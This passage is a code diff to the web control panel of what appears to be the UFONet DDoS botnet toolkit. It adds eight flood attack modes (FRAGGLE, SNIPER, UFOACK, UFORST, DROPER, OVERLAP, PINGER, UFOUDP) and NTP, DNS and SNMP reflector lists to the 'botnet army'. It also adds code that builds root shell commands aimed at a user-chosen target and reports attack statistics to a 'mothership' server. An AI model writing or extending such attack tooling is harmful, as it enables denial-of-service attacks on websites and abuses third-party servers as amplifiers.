= urlparse(snmp) + name_snmp = t.netloc + if "www." in name_snmp: + name_snmp = name_snmp.replace("www.","") + self.list_snmps.append(name_snmp) + self.num_snmps = str(len(self.snmps)) + f.close() + self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_ntps) + int(self.num_dnss) + int(self.num_snmps)) f = open(self.wargames_file, "r") ls = f.readlines() f.close() @@ -2780,6 +3092,9 @@ def __init__(self):
Droids:"""+self.num_droids+"""
UCAVs:"""+self.num_ucavs+"""
XML-RPCs:"""+self.num_rpcs+"""
+
NTPs:"""+self.num_ntps+"""
+
DNSs:"""+self.num_dnss+"""
+
SNMPs:"""+self.num_snmps+"""
@@ -2812,6 +3127,14 @@ def __init__(self): document.getElementById("nuke").value = ""; document.getElementById("tachyon").value = ""; document.getElementById("monlist").value = ""; + document.getElementById("fraggle").value = ""; + document.getElementById("sniper").value = ""; + document.getElementById("ufoack").value = ""; + document.getElementById("uforst").value = ""; + document.getElementById("droper").value = ""; + document.getElementById("overlap").value = ""; + document.getElementById("pinger").value = ""; + document.getElementById("ufoudp").value = ""; document.getElementById("dbstress").value = ""; } else { document.getElementById("extra_panel").style.display = "none"; @@ -2824,6 +3147,14 @@ def __init__(self): document.getElementById("nuke").value = ""; document.getElementById("tachyon").value = ""; document.getElementById("monlist").value = ""; + document.getElementById("fraggle").value = ""; + document.getElementById("sniper").value = ""; + document.getElementById("ufoack").value = ""; + document.getElementById("uforst").value = ""; + document.getElementById("droper").value = ""; + document.getElementById("overlap").value = ""; + document.getElementById("pinger").value = ""; + document.getElementById("ufoudp").value = ""; document.getElementById("dbstress").value = ""; } } @@ -2851,10 +3182,18 @@ def __init__(self): nuke=document.getElementById("nuke").value tachyon=document.getElementById("tachyon").value monlist=document.getElementById("monlist").value - if(ufosyn || spray || smurf || xmas || nuke || tachyon || monlist){ // root required! + fraggle=document.getElementById("fraggle").value + sniper=document.getElementById("sniper").value + ufoack=document.getElementById("ufoack").value + uforst=document.getElementById("uforst").value + droper=document.getElementById("droper").value + overlap=document.getElementById("overlap").value + pinger=document.getElementById("pinger").value + ufoudp=document.getElementById("ufoudp").value + if(ufosyn || spray || smurf || xmas || nuke || tachyon || monlist || fraggle || sniper || ufoack || uforst || droper || overlap || pinger || ufoudp){ // root required! window.alert("You need 'root' access!. Check shell and enter your password."); } - params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&tachyon="+escape(tachyon)+"&monlist="+escape(monlist) + params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&tachyon="+escape(tachyon)+"&monlist="+escape(monlist)+"&fraggle="+escape(fraggle)+"&sniper="+escape(sniper)+"&ufoack="+escape(ufoack)+"&uforst="+escape(uforst)+"&droper="+escape(droper)+"&overlap="+escape(overlap)+"&pinger="+escape(pinger)+"&ufoudp="+escape(ufoudp) if (document.getElementById("visual_attack").checked){ document.getElementById("visual_attack").value = "on"; } else { @@ -2904,13 +3243,26 @@ def __init__(self): - + + + + - - - - + + + + + + + + + + + + + +
* LOIC: * LORIS: * UFOSYN:
* UFOSYN: * FRAGGLE:
* UFORST: * SPRAY: * SMURF: * XMAS:
* NUKE: * TACHYON: * MONLIST:
* XMAS:
* DROPER: * SNIPER: * TACHYON: * PINGER:
* MONLIST: * UFOACK: * OVERLAP: * UFOUDP:
* NUKE:

* Set db stress parameter: @@ -3443,7 +3795,7 @@ def get(self, request): f.close() self.pages["/cmd_view_changelog"] = "
"+str(changelog)+"

" if page == "/cmd_list_army": - self.pages["/cmd_list_army"] = "

Total Botnet = "+self.total_botnet+"

UCAVs:"+self.num_ucavs+"Aliens:"+self.num_aliens+"
Droids:"+self.num_droids+"Zombies:"+self.num_zombies+"
XML-RPCs:"+self.num_rpcs+"


UCAVs: "+self.num_ucavs+"

Last update: "+time.ctime(os.path.getctime(self.ucavs_file))+"
"+'\n'.join(self.list_ucavs)+""+'\n'.join(self.ucavs)+"

Aliens: "+self.num_aliens+"

Last update: "+time.ctime(os.path.getctime(self.aliens_file))+"
"+'\n'.join(self.list_aliens)+""+'\n'.join(self.aliens)+"

Droids: "+self.num_droids+"

Last update: "+time.ctime(os.path.getctime(self.droids_file))+"
"+'\n'.join(self.list_droids)+""+'\n'.join(self.droids)+"

Zombies: "+self.num_zombies+"

Last update: "+time.ctime(os.path.getctime(self.zombies_file))+"
"+'\n'.join(self.list_zombies)+""+'\n'.join(self.zombies)+"

XML-RPCs: "+self.num_rpcs+"

Last update: "+time.ctime(os.path.getctime(self.rpcs_file))+"
"+'\n'.join(self.list_rpcs)+""+'\n'.join(self.rpcs)+"


" + self.pages["/cmd_list_army"] = "

Total Botnet = "+self.total_botnet+"

UCAVs:"+self.num_ucavs+"Aliens:"+self.num_aliens+"
Droids:"+self.num_droids+"Zombies:"+self.num_zombies+"
XML-RPCs:"+self.num_rpcs+" NTPs:"+self.num_ntps+"
DNSs:"+self.num_dnss+"SNMPs:"+self.num_snmps+"


UCAVs: "+self.num_ucavs+"

Last update: "+time.ctime(os.path.getctime(self.ucavs_file))+"
"+'\n'.join(self.list_ucavs)+""+'\n'.join(self.ucavs)+"

Aliens: "+self.num_aliens+"

Last update: "+time.ctime(os.path.getctime(self.aliens_file))+"
"+'\n'.join(self.list_aliens)+""+'\n'.join(self.aliens)+"

Droids: "+self.num_droids+"

Last update: "+time.ctime(os.path.getctime(self.droids_file))+"
"+'\n'.join(self.list_droids)+""+'\n'.join(self.droids)+"

Zombies: "+self.num_zombies+"

Last update: "+time.ctime(os.path.getctime(self.zombies_file))+"
"+'\n'.join(self.list_zombies)+""+'\n'.join(self.zombies)+"

XML-RPCs: "+self.num_rpcs+"

Last update: "+time.ctime(os.path.getctime(self.rpcs_file))+"
"+'\n'.join(self.list_rpcs)+""+'\n'.join(self.rpcs)+"

NTPs: "+self.num_ntps+"

Last update: "+time.ctime(os.path.getctime(self.ntps_file))+"
"+'\n'.join(self.list_ntps)+""+'\n'.join(self.ntps)+"

DNSs: "+self.num_dnss+"

Last update: "+time.ctime(os.path.getctime(self.dnss_file))+"
"+'\n'.join(self.list_dnss)+""+'\n'.join(self.dnss)+"

SNMPs: "+self.num_snmps+"

Last update: "+time.ctime(os.path.getctime(self.snmps_file))+"
"+'\n'.join(self.list_snmps)+""+'\n'.join(self.snmps)+"


" if page == "/cmd_list_zombies": self.pages["/cmd_list_zombies"] = "

Total Zombies = "+self.num_zombies+"


Zombies: "+self.num_zombies+"

Last update: "+time.ctime(os.path.getctime(self.zombies_file))+"
"+'\n'.join(self.list_zombies)+""+'\n'.join(self.zombies)+"


" if page == "/cmd_list_aliens": @@ -3454,6 +3806,12 @@ def get(self, request): self.pages["/cmd_list_ucavs"] = "

Total UCAVs = "+self.num_ucavs+"


UCAVs: "+self.num_ucavs+"

Last update: "+time.ctime(os.path.getctime(self.ucavs_file))+"
"+'\n'.join(self.list_ucavs)+""+'\n'.join(self.ucavs)+"


" if page == "/cmd_list_rpcs": self.pages["/cmd_list_rpcs"] = "

Total XML-RPCs = "+self.num_rpcs+"


XML-RPCs: "+self.num_rpcs+"

Last update: "+time.ctime(os.path.getctime(self.rpcs_file))+"
"+'\n'.join(self.list_rpcs)+""+'\n'.join(self.rpcs)+"


" + if page == "/cmd_list_ntps": + self.pages["/cmd_list_ntps"] = "

Total NTPs = "+self.num_ntps+"


NTPs: "+self.num_ntps+"

Last update: "+time.ctime(os.path.getctime(self.ntps_file))+"
"+'\n'.join(self.list_ntps)+""+'\n'.join(self.ntps)+"


" + if page == "/cmd_list_dnss": + self.pages["/cmd_list_dnss"] = "

Total DNSs = "+self.num_dnss+"


DNSs: "+self.num_dnss+"

Last update: "+time.ctime(os.path.getctime(self.dnss_file))+"
"+'\n'.join(self.list_dnss)+""+'\n'.join(self.dnss)+"


" + if page == "/cmd_list_snmps": + self.pages["/cmd_list_snmps"] = "

Total SNMPs = "+self.num_snmps+"


SNMPs: "+self.num_snmps+"

Last update: "+time.ctime(os.path.getctime(self.snmps_file))+"
"+'\n'.join(self.list_snmps)+""+'\n'.join(self.snmps)+"


" if page == "/cmd_view_army": if pGet=={}: self.pages["/cmd_view_army"] = self.html_army_map() @@ -3526,6 +3884,14 @@ def get(self, request): flag_nuke = None flag_tachyon = None flag_monlist = None + flag_fraggle = None + flag_sniper = None + flag_ufoack = None + flag_uforst = None + flag_droper = None + flag_overlap = None + flag_pinger = None + flag_ufoudp = None nonroot_cmd = "("+python_version+" -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' " root_cmd = "(sudo "+python_version+" -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' " end_cmd = ""+cmd_options + "|tee /tmp/out) &" @@ -3556,10 +3922,34 @@ def get(self, request): if pGet["monlist"]: cmd += "--monlist '" +str(pGet["monlist"])+ "' " flag_monlist = True - if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn: + if pGet["fraggle"]: + cmd += "--fraggle '" +str(pGet["fraggle"])+ "' " + flag_fraggle = True + if pGet["sniper"]: + cmd += "--sniper '" +str(pGet["sniper"])+ "' " + flag_sniper = True + if pGet["ufoack"]: + cmd += "--ufoack '" +str(pGet["ufoack"])+ "' " + flag_ufoack = True + if pGet["uforst"]: + cmd += "--uforst '" +str(pGet["uforst"])+ "' " + flag_uforst = True + if pGet["droper"]: + cmd += "--droper '" +str(pGet["droper"])+ "' " + flag_droper = True + if pGet["overlap"]: + cmd += "--overlap '" +str(pGet["overlap"])+ "' " + flag_overlap = True + if pGet["pinger"]: + cmd += "--pinger '" +str(pGet["pinger"])+ "' " + flag_pinger = True + if pGet["ufoudp"]: + cmd += "--ufoudp '" +str(pGet["ufoudp"])+ "' " + flag_ufoudp = True + if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn and not flag_fraggle and not flag_sniper and not flag_ufoack and not flag_uforst and not flag_droper and not flag_overlap and not flag_pinger and not flag_ufoudp: cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS) - if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True: - cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST) + if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True or flag_fraggle == True or flag_sniper == True or flag_ufoack == True or flag_uforst == True or flag_droper == True or flag_overlap == True or flag_pinger == True or flag_ufoudp == True: + cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST, FRAGGLE, SNIPER, UFOACK, UFORST, DROPER, OVERLAP, PINGER, UFOUDP) runcmd = cmd + end_cmd if page == "/cmd_attack_update": if not os.path.exists('/tmp/out'): @@ -3898,6 +4288,14 @@ def get(self, request): supply_nuke = pGet["nuke"] supply_tachyon = pGet["tachyon"] supply_monlist = pGet["monlist"] + supply_fraggle = pGet["fraggle"] + supply_sniper = pGet["sniper"] + supply_ufoack = pGet["ufoack"] + supply_uforst = pGet["uforst"] + supply_droper = pGet["droper"] + supply_overlap = pGet["overlap"] + supply_pinger = pGet["pinger"] + supply_ufoudp = pGet["ufoudp"] except: # default global supply army supply_botnet = 1 supply_loic = 0 @@ -3909,8 +4307,16 @@ def get(self, request): supply_nuke = 0 supply_tachyon = 0 supply_monlist = 0 + supply_fraggle = 0 + supply_sniper = 0 + supply_ufoack = 0 + supply_uforst = 0 + supply_droper = 0 + supply_overlap = 0 + supply_pinger = 0 + supply_ufoudp = 0 with open(self.mothership_supplycfg_file, "w") as f: - json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist}, f, indent=4) + json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist, "fraggle": supply_fraggle, "sniper": supply_sniper, "ufoack": supply_ufoack, "uforst": supply_uforst, "droper": supply_droper, "overlap": supply_overlap, "pinger": supply_pinger, "ufoudp": supply_ufoudp}, f, indent=4) if page == "/cmd_job_add": self.pages["/cmd_job_add"] = "
Adding wargame to your list...
" try: @@ -4638,7 +5044,7 @@ def get(self, request): else: grid_tachyon = nodec_num self.decryptedtext = "" # clean decryptedtext buffer - if version > 17: + if version > 17: # current version = 26 grid_monlist = m[16] # monlist self.decrypt(grid_key, grid_monlist) if self.decryptedtext: @@ -4648,7 +5054,87 @@ def get(self, request): grid_monlist = nodec_num else: grid_monlist = nodec_num - self.decryptedtext = "" # clean decryptedtext buffer + self.decryptedtext = "" # clean decryptedtext buffer + grid_fraggle = m[17] # fraggle + self.decrypt(grid_key, grid_fraggle) + if self.decryptedtext: + try: + grid_fraggle = int(self.decryptedtext) + except: + grid_fraggle = nodec_num + else: + grid_fraggle = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer + grid_sniper = m[18] # sniper + self.decrypt(grid_key, grid_sniper) + if self.decryptedtext: + try: + grid_sniper = int(self.decryptedtext) + except: + grid_sniper = nodec_num + else: + grid_sniper = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer + grid_ufoack = m[19] # ufoack + self.decrypt(grid_key, grid_ufoack) + if self.decryptedtext: + try: + grid_ufoack = int(self.decryptedtext) + except: + grid_ufoack = nodec_num + else: + grid_ufoack = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer + grid_uforst = m[20] # uforst + self.decrypt(grid_key, grid_uforst) + if self.decryptedtext: + try: + grid_uforst = int(self.decryptedtext) + except: + grid_uforst = nodec_num + else: + grid_uforst = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer + grid_droper = m[21] # droper + self.decrypt(grid_key, grid_droper) + if self.decryptedtext: + try: + grid_droper = int(self.decryptedtext) + except: + grid_droper = nodec_num + else: + grid_droper = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer + grid_overlap = m[22] # overlap + self.decrypt(grid_key, grid_overlap) + if self.decryptedtext: + try: + grid_overlap = int(self.decryptedtext) + except: + grid_overlap = nodec_num + else: + grid_overlap = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer + grid_pinger = m[23] # pinger + self.decrypt(grid_key, grid_pinger) + if self.decryptedtext: + try: + grid_pinger = int(self.decryptedtext) + except: + grid_pinger = nodec_num + else: + grid_pinger = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer + grid_ufoudp = m[24] # ufoudp + self.decrypt(grid_key, grid_ufoudp) + if self.decryptedtext: + try: + grid_ufoudp = int(self.decryptedtext) + except: + grid_ufoudp = nodec_num + else: + grid_ufoudp = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer else: grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not monlist present self.decrypt(grid_key, grid_monlist) @@ -4659,16 +5145,96 @@ def get(self, request): grid_monlist = nodec_num else: grid_monlist = nodec_num - self.decryptedtext = "" # clean decryptedtext buffer + self.decryptedtext = "" # clean decryptedtext buffer + grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not fraggle present + self.decrypt(grid_key, grid_fraggle) + if self.decryptedtext: + try: + grid_fraggle = int(self.decryptedtext) + except: + grid_fraggle = nodec_num + else: + grid_fraggle = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer + grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not sniper present + self.decrypt(grid_key, grid_sniper) + if self.decryptedtext: + try: + grid_sniper = int(self.decryptedtext) + except: + grid_sniper = nodec_num + else: + grid_sniper = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer + grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoack present + self.decrypt(grid_key, grid_ufoack) + if self.decryptedtext: + try: + grid_ufoack = int(self.decryptedtext) + except: + grid_ufoack = nodec_num + else: + grid_ufoack = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer + grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not uforst present + self.decrypt(grid_key, grid_uforst) + if self.decryptedtext: + try: + grid_uforst = int(self.decryptedtext) + except: + grid_uforst = nodec_num + else: + grid_uforst = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer + grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not droper present + self.decrypt(grid_key, grid_droper) + if self.decryptedtext: + try: + grid_droper = int(self.decryptedtext) + except: + grid_droper = nodec_num + else: + grid_droper = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer + grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not overlap present + self.decrypt(grid_key, grid_overlap) + if self.decryptedtext: + try: + grid_overlap = int(self.decryptedtext) + except: + grid_overlap = nodec_num + else: + grid_overlap = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer + grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not pinger present + self.decrypt(grid_key, grid_pinger) + if self.decryptedtext: + try: + grid_pinger = int(self.decryptedtext) + except: + grid_pinger = nodec_num + else: + grid_pinger = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer + grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufoudp present + self.decrypt(grid_key, grid_ufoudp) + if self.decryptedtext: + try: + grid_ufoudp = int(self.decryptedtext) + except: + grid_ufoudp = nodec_num + else: + grid_ufoudp = nodec_num + self.decryptedtext = "" # clean decryptedtext buffer if version > 17: - grid_contact = m[17] # contact + grid_contact = m[25] # contact self.decrypt(grid_key, grid_contact) if self.decryptedtext: grid_contact = self.decryptedtext else: grid_contact = nodec_text self.decryptedtext = "" # clean decryptedtext buffer - grid_id = m[18] # id + grid_id = m[26] # id elif version == 17: grid_contact = m[16] # contact self.decrypt(grid_key, grid_contact) @@ -4726,7 +5292,7 @@ def get(self, request): else: grid_contact = nodec_text grid_id = '6666666666666666666666666666666666666' # fake id - grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),str(grid_contact),str(grid_id)]) + grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),int(grid_monlist),int(grid_fraggle),int(grid_sniper),int(grid_ufoack),int(grid_uforst),int(grid_droper),int(grid_overlap),int(grid_pinger),int(grid_ufoudp),str(grid_contact),str(grid_id)]) if grid_filter == "nickname": grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname elif grid_filter == "ranking": @@ -4761,8 +5327,24 @@ def get(self, request): grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon elif grid_filter == "monlist": grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by monlist + elif grid_filter == "fraggle": + grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by fraggle + elif grid_filter == "sniper": + grid_items=sorted(grid_items,key=lambda x:x[18]) # sorted by sniper + elif grid_filter == "ufoack": + grid_items=sorted(grid_items,key=lambda x:x[19]) # sorted by ufoack + elif grid_filter == "uforst": + grid_items=sorted(grid_items,key=lambda x:x[20]) # sorted by uforst + elif grid_filter == "droper": + grid_items=sorted(grid_items,key=lambda x:x[21]) # sorted by droper + elif grid_filter == "overlap": + grid_items=sorted(grid_items,key=lambda x:x[22]) # sorted by overlap + elif grid_filter == "pinger": + grid_items=sorted(grid_items,key=lambda x:x[23]) # sorted by pinger + elif grid_filter == "ufoudp": + grid_items=sorted(grid_items,key=lambda x:x[24]) # sorted by ufoudp elif grid_filter == "contact": - grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by contact + grid_items=sorted(grid_items,key=lambda x:x[25]) # sorted by contact else: grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default) for i in grid_items: @@ -4851,13 +5433,53 @@ def get(self, request): if self.encryptedtext: grid_monlist = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer - grid_contact = str(i[17]) + grid_fraggle = str(i[17]) + self.encrypt(grid_key, grid_fraggle) + if self.encryptedtext: + grid_fraggle = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + grid_sniper = str(i[18]) + self.encrypt(grid_key, grid_sniper) + if self.encryptedtext: + grid_sniper = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + grid_ufoack = str(i[19]) + self.encrypt(grid_key, grid_ufoack) + if self.encryptedtext: + grid_ufoack = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + grid_uforst = str(i[20]) + self.encrypt(grid_key, grid_uforst) + if self.encryptedtext: + grid_uforst = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + grid_droper = str(i[21]) + self.encrypt(grid_key, grid_droper) + if self.encryptedtext: + grid_droper = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + grid_overlap = str(i[22]) + self.encrypt(grid_key, grid_overlap) + if self.encryptedtext: + grid_overlap = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + grid_pinger = str(i[23]) + self.encrypt(grid_key, grid_pinger) + if self.encryptedtext: + grid_pinger = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + grid_ufoudp = str(i[24]) + self.encrypt(grid_key, grid_ufoudp) + if self.encryptedtext: + grid_ufoudp = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + grid_contact = str(i[25]) self.encrypt(grid_key, grid_contact) if self.encryptedtext: grid_contact = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer - grid_id = str(i[18]) # id (plain id) - l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_contact) + "#?#" + str(grid_id) + grid_id = str(i[26]) # id (plain id) + l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_fraggle) + "#?#" + str(grid_sniper) + "#?#" + str(grid_ufoack) + "#?#" + str(grid_uforst) + "#?#" + str(grid_droper) + "#?#" + str(grid_overlap) + "#?#" + str(grid_pinger) + "#?#" + str(grid_ufoudp) + "#?#" + str(grid_contact) + "#?#" + str(grid_id) f.write(l + os.linesep) f.close() except: @@ -4981,13 +5603,53 @@ def get(self, request): if self.encryptedtext: monlist = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer + fraggle = stats_data["fraggle"] + self.encrypt(grid_key, str(fraggle)) + if self.encryptedtext: + fraggle = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + sniper = stats_data["sniper"] + self.encrypt(grid_key, str(sniper)) + if self.encryptedtext: + sniper = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + ufoack = stats_data["ufoack"] + self.encrypt(grid_key, str(ufoack)) + if self.encryptedtext: + ufoack = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + uforst = stats_data["uforst"] + self.encrypt(grid_key, str(uforst)) + if self.encryptedtext: + uforst = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + droper = stats_data["droper"] + self.encrypt(grid_key, str(droper)) + if self.encryptedtext: + droper = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + overlap = stats_data["overlap"] + self.encrypt(grid_key, str(overlap)) + if self.encryptedtext: + overlap = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + pinger = stats_data["pinger"] + self.encrypt(grid_key, str(pinger)) + if self.encryptedtext: + pinger = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer + ufoudp = stats_data["ufoudp"] + self.encrypt(grid_key, str(ufoudp)) + if self.encryptedtext: + ufoudp = self.encryptedtext + self.encryptedtext = "" # clean encryptedtext buffer contact = grid_data["grid_contact"].encode('utf-8') self.encrypt(grid_key, str(contact)) if self.encryptedtext: contact = self.encryptedtext self.encryptedtext = "" # clean encryptedtext buffer id = grid_data["grid_token"] # plain text - stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(contact)+grid_msg_sep+str(id) + stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(fraggle)+grid_msg_sep+str(sniper)+grid_msg_sep+str(ufoack)+grid_msg_sep+str(uforst)+grid_msg_sep+str(droper)+grid_msg_sep+str(overlap)+grid_msg_sep+str(pinger)+grid_msg_sep+str(ufoudp)+grid_msg_sep+str(contact)+grid_msg_sep+str(id) try: host = blackhole_ip cport = 9992 # port used by mothership grider (server side script) @@ -5637,17 +6299,25 @@ def get(self, request): mothership_nuke = 0 mothership_tachyon = 0 mothership_monlist = 0 + mothership_fraggle = 0 + mothership_sniper = 0 + mothership_ufoack = 0 + mothership_uforst = 0 + mothership_droper = 0 + mothership_overlap = 0 + mothership_pinger = 0 + mothership_ufoudp = 0 mothership_chargo = 0 mothership_dorking = 0 mothership_maxchargo = 0 nodec_text = "KEY?" - grid_table = "
MEMBERS STATS:

" + grid_table = "
MEMBERS STATS:

NICK:RANK:CHARGO:DORKING:TRANSF:MAX.CHARGO:MISSIONS:ATTACKS:LOIC:LORIS:UFOSYN:SPRAY:SMURF:XMAS:NUKE:TACHYON:MONLIST:CONTACT:
" grid_key = pGet["grid_key"] f = open("/tmp/out", "w") self.list_grid_rev = reversed(self.list_grid) # order by DESC - for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, contact, ID + for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, contact, ID if grid_msg_sep in m: - version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4) + version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4|26->1.5) m = m.split(grid_msg_sep) mothership_members = mothership_members + 1 # add new registered member to mothership stats grid_nickname = m[0] # nickname @@ -5968,6 +6638,102 @@ 